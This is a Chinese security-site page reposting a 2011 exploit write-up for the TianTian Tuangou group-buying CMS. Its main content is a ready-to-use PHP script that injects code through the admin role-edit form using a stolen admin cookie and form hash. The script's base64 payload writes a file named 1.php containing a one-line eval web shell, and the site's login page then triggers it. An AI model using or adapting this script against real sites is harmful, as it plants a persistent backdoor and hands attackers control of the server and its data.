首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
天天团购后台Getshell安全问题
来源:bbs.wolvez.org 作者:k4shifz 发布时间:2011-02-18  

by k4shifz[w.s.t]
bbs.wolvez.org
上次说到天天团购的后台拿shell。
后台注射,向数据库插入代码。exp需要填写四个参数 $host、$path、$formhash、$cookie。提交后,前台登录执行代码。

<?php
/*
TianTian Tuangou getshell codz by k4shifz
Team: bbs.worlvez.org
*/
$host='localhost';
$path='tttuangou';

/*
view : /admin.php?mod=role_action&code=modify&id=50
get cookie : javascript:document.write(document.cookie);
*/
$formhash='596da77e66139589';
$cookie='admin cookies';

/* injection */
$data=rawurlencode('eval(base64_decode("ZnB1dHMoZm9wZW4oJzEucGhwJywndysnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2tdKTs/PicpOw=="));');
$cmd='FORMHASH='.$formhash.'&id=50&is_admin=0&php_code='.$data.'&name=%B5%C7%C2%BD%CF%B5%CD%B3&allow_all=1&role_ids%5B%5D=1&role_ids%5B%5D=3&role_ids%5B%5D=4&role_ids%5B%5D=5&role_ids%5B%5D=6&role_ids%5B%5D=2&role_ids%5B%5D=7&module=login&action=dologin%7C&log=0&message=&describe=&update_value%5Bcredits%5D=0&require_value%5Bcredits%5D=0&detailsubmit=%CC%E1+%BD%BB';

$fs=fsockopen($host,'80');
fputs($fs,'POST /'.$path.'/admin.php?mod=role_action&code=domodify HTTP/1.0
Referer:http://'.$host.'/'.$path.'/admin.php?mod=role_action&code=modify&id=50
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: '.$host.'
Content-Length: '.strlen($cmd).'
Cookie: '.$cookie.'

'.$cmd);
fclose($fs);

file_get_contents("http://{$host}/{$path}/index.php?mod=login");
exit("ok\nhttp://{$host}/{$path}/1.php k\n");
?>

前台的问题还是挺多的,黑盒估计都能测出来。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer "A
·PHP 5.3.5 grapheme_extract() N
·IBM Lotus Domino LDAP Bind Req
·BWMeter v5.4.0 (.csv) Denial o
·Mozilla Firefox Interleaving d
·Safari On iPod Touch 4.2 Denia
·Novell ZenWorks 10 & 11 TFTPD
·Novell Iprint LPD Remote Code
·ActFax Server FTP Remote BOF (
·Avira AntVir QUA file in (avce
·ActFax Server (LPD/LPR) Remote
·JAKCMS <= v2.01 Code Execution
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved